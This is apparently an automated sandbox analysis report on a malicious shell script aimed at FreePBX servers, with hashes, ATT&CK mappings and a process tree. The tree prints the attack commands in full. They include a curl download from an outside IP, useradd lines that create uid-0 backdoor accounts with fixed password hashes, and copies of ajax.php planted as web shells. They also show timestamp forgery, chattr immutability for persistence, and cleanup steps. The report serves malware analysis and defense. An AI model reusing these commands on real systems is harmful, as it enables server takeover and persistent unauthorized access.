e57b1845b339fd601f9c2b7777549ec883d5678944592437f48a2a87bed0a141

Analysis

max time kernel
13s
max time network
4s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29/05/2026, 07:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_e57b1845b339fd601f9c2b7777549ec883d5678944592437f48a2a87bed0a141.sh
Size 44KB
Sample260529-h77aaaex4m
SHA256 e57b1845b339fd601f9c2b7777549ec883d5678944592437f48a2a87bed0a141
MD5 0657947607db32c48a9d85e2df7150fe
SHA1 87a24e4466f8a29b48b2031564ae8caf00b86d28
SHA512 fea2e5e5051ce566b04e76c531781400d176b2347083bdf773dfde2f2001d0e233f27df96028006f42a48ae436cdea1b92848e97b51a6beafedc7a27556d1ce0
SSDEEP 768:bq+K9GKYpr9GKYp82fkR4nnA9GKYpr9GKYp82fkR4nnx:bq+fco
TLSH
T18A138D6956857C24AE99883B1C7E2F0CB9A983E1310851DDBFCB3CF58C09B9CE21971D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery persistence

Malware Config

Signatures

Modifies password files for system users/ groups 1 TTPs 8 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
774	chmod

OS Credential Dumping 1 TTPs 2 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd

Adds a user to the system 4 IoCs

pid	Process
741	useradd
751	useradd
755	useradd
732	useradd

Deobfuscate/Decode Files or Information 1 TTPs 7 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
729	base64
738	base64
749	base64
753	base64
780	base64
790	base64
799	base64

Reads runtime system information 33 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/test.sh	_e57b1845b339fd601f9c2b7777549ec883d5678944592437f48a2a87bed0a141.sh

/tmp/_e57b1845b339fd601f9c2b7777549ec883d5678944592437f48a2a87bed0a141.sh
/tmp/_e57b1845b339fd601f9c2b7777549ec883d5678944592437f48a2a87bed0a141.sh
1⤵
- Writes file to tmp directory
PID:702
- /usr/bin/curl
  curl http://45.95.147.178/x -ks
  2⤵
  - Reads runtime system information
  PID:708
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  - Reads runtime system information
  PID:727
- /bin/bash
  bash
  2⤵
  PID:730
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    - Reads runtime system information
    PID:732
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:733
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:734
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:735
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:736
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:729
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:738
- /bin/bash
  bash
  2⤵
  PID:739
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    - Reads runtime system information
    PID:741
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:742
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:743
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:744
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:745
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:749
- /bin/bash
  bash
  2⤵
  PID:750
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:751
- /bin/bash
  bash
  2⤵
  PID:754
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:755
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:753
- /bin/mkdir
  mkdir -p /var/www/html/rest_phones/
  2⤵
  - Reads runtime system information
  PID:756
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/h/
  2⤵
  - Reads runtime system information
  PID:757
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/fpbxphones/
  2⤵
  - Reads runtime system information
  PID:758
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/phones/
  2⤵
  - Reads runtime system information
  PID:759
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  - Reads runtime system information
  PID:760
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php
  2⤵
  - Reads runtime system information
  PID:761
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php
  2⤵
  - Reads runtime system information
  PID:762
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php
  2⤵
  - Reads runtime system information
  PID:763
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php
  2⤵
  - Reads runtime system information
  PID:764
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php
  2⤵
  - Reads runtime system information
  PID:765
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php
  2⤵
  - Reads runtime system information
  PID:766
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php
  2⤵
  - Reads runtime system information
  PID:767
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php
  2⤵
  - Reads runtime system information
  PID:768
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php
  2⤵
  - Reads runtime system information
  PID:769
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php
  2⤵
  - Reads runtime system information
  PID:770
- /usr/bin/touch
  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
  2⤵
  PID:771
- /bin/chmod
  chmod +x /var/www/html/admin/views/ajax.php
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/ajax.php
  2⤵
  PID:775
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/ajax.php
  2⤵
  PID:776
- /usr/bin/chattr
  chattr +i /var/www/html/h.php
  2⤵
  PID:777
- /usr/bin/chattr
  chattr +a /var/www/html/h.php
  2⤵
  PID:778
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:780
- /bin/bash
  bash /tmp/test.sh
  2⤵
  PID:781
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:784
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:785
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:786
- - /bin/mkdir
    mkdir -p /var/www/html/admin/modules/freepbx_ha/
    3⤵
    - Reads runtime system information
    PID:787
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
    3⤵
    - Reads runtime system information
    PID:788
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:790
- - /bin/rm
    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:791
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    - Reads runtime system information
    PID:793
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:795
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:799
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:800
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:804
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:815
- /bin/rm
  rm -rf /tmp/test.sh
  2⤵
  PID:820
- /bin/bash
  bash /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:824
- /bin/rm
  rm -rf /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:825

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Credential Access

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

passwd+

Path /etc/passwd+
Size 1KB
SHA256 7804a9bf801c95d7fc06aa3f9fc86d79c830ab728773e47c97039ae10503e411
MD5 402c4c78cd05ab84e54fd6c3afcecd4a
SHA1 e4efe63dfbf9a214ffac9960704408ab47632626
SHA512 6885ace9fe605c9bd8ff126682c954bc09f786b52d8b96556426fde1be8882e8cd86fe3b6ab2cee3bed26e1fa1e28f41494351e7a096297187c651760a3ae6f6
TLSH
T111314920032990BC9CC1E85A111F7FD414EC78D14A79FB2DDC7BA144EC9BB6C27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

passwd+

Path /etc/passwd+
Size 1KB
SHA256 1a9fa1774e7cef8530dada15004b2ca577ec490967c73215576c462845d0b3dc
MD5 796251e44d89beefde52524c5fdff5c3
SHA1 4e8ca04b0aa8476e9bb7b491527461b52feb7393
SHA512 f05fd9f7551b736a8c8729bad8b0bf177818a41449393f35a99496aa7873b580387d5605dac00f61e9294acda6eddfb54bc4ad942418af57fcdfa406c9238899
TLSH
T1D3315A10032990BC9DC1E85A111F7FD414EC78E14A79FB2DD87BA140EC8BB6C27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 949B
SHA256 cdfea775d21a60db592f67a94cbf0310642f11b3b73d566418e909bdb2270022
MD5 a2e342d33765584053b8d6609463f86e
SHA1 2b1b43feb39bf904ab96719a88495bb02ba0bec4
SHA512 818bb43627b52446127ef4f7239e166bf1f98a730d5252ba99840c0771b7de3409a36565f8e641c183decd0fa22be618206abcd4f4ef457b6735cc0f98913afd
TLSH
T16411A380A33CFC4843D650DD658202D9E7EFAC310274C18FC82689334EB48E55719CB7
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 909B
SHA256 565302350911b1a57de91cb66b82e8b9084f135df51793df7f211042ea0f7e93
MD5 044b0f88035f6209a953f104b0196743
SHA1 30c9ff66fb130b19c1948ae7d45669bcf4477911
SHA512 8747300360858a213057a851668010c3c739c95ae78d56e0b1df43914d34e1cb7c9a1fdc03f6e25da82bcf978b74600c2e3c0d7c043a80f82852249d5406db7f
TLSH
T194117080A33CFC5843E510DD659202D9D6EB6C3502B8C18FC82689734EB48E65719CB6
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 59B
SHA256 da8f26f0a2ae8764c3e20dc22bc65cca4e3484540596ef7ceaafac71c26abd7c
MD5 5c9e3004d1697716b1cb75f242c2beea
SHA1 5f0a26471d327b6e2fe3fb5e495b6b193da2e7f2
SHA512 e6fb56cb30f70aa40b4a8d328240748c45e8810f88c606b4573f30cad9db820dc7d0ecc8d7cc784fe386f58f9095adde0131c605bd1a5417e887ca0b81d406ff
TLSH
T1CCA002000217A1C0C1D35504440D93AD312175D3D4C0B868C254E55606B05714450251
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 39B
SHA256 9316f27c6431ca1472e0bbdc728ecd20cb7eab44fd03b2a04f6d643e99a24e89
MD5 d706ba86b3fd8589ecb5aa198e1e3cbf
SHA1 12fc273031b205c1527045d5c923d657378802f5
SHA512 ddbf918aaaa0b2914f7a39b6d9f6824d99232bc53491cdf931bc683ae54400b05a7eaa2667c752279e9f45fbd30279ac596acbbbc523abad69d21c156f58b1d0
MD5 SHA1 SHA512

Submit Download

test.sh

Path /tmp/test.sh
Size 12KB
SHA256 20d80d9403f12e730915bf419cdd8f65d1ee09ebfe5f2f382f2d8aa0511ea4ab
MD5 8f7541228c408eb56be12b0e084f80ef
SHA1 7075c8d6693cfaa96ecb5b8bf1685100f89ed753
SHA512 3cb80a5b751c5d29216af3363315845409bfdcad53fa21d24bfe8ed6fdabc28065223dfbc84e23ff66cb0cb3b22f9ae11de0ca240905324d76a8cdc4231d898d
SSDEEP 384:zro/A8C1cJlJoro/A8C1cJlJqro/A8C1cJlJrrA:eJlJLJnrA
TLSH
T15342D783466F6175A2093FEB58FC6F9C7BE68B4E34E2282525163DA8018DD0FD4B4A5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads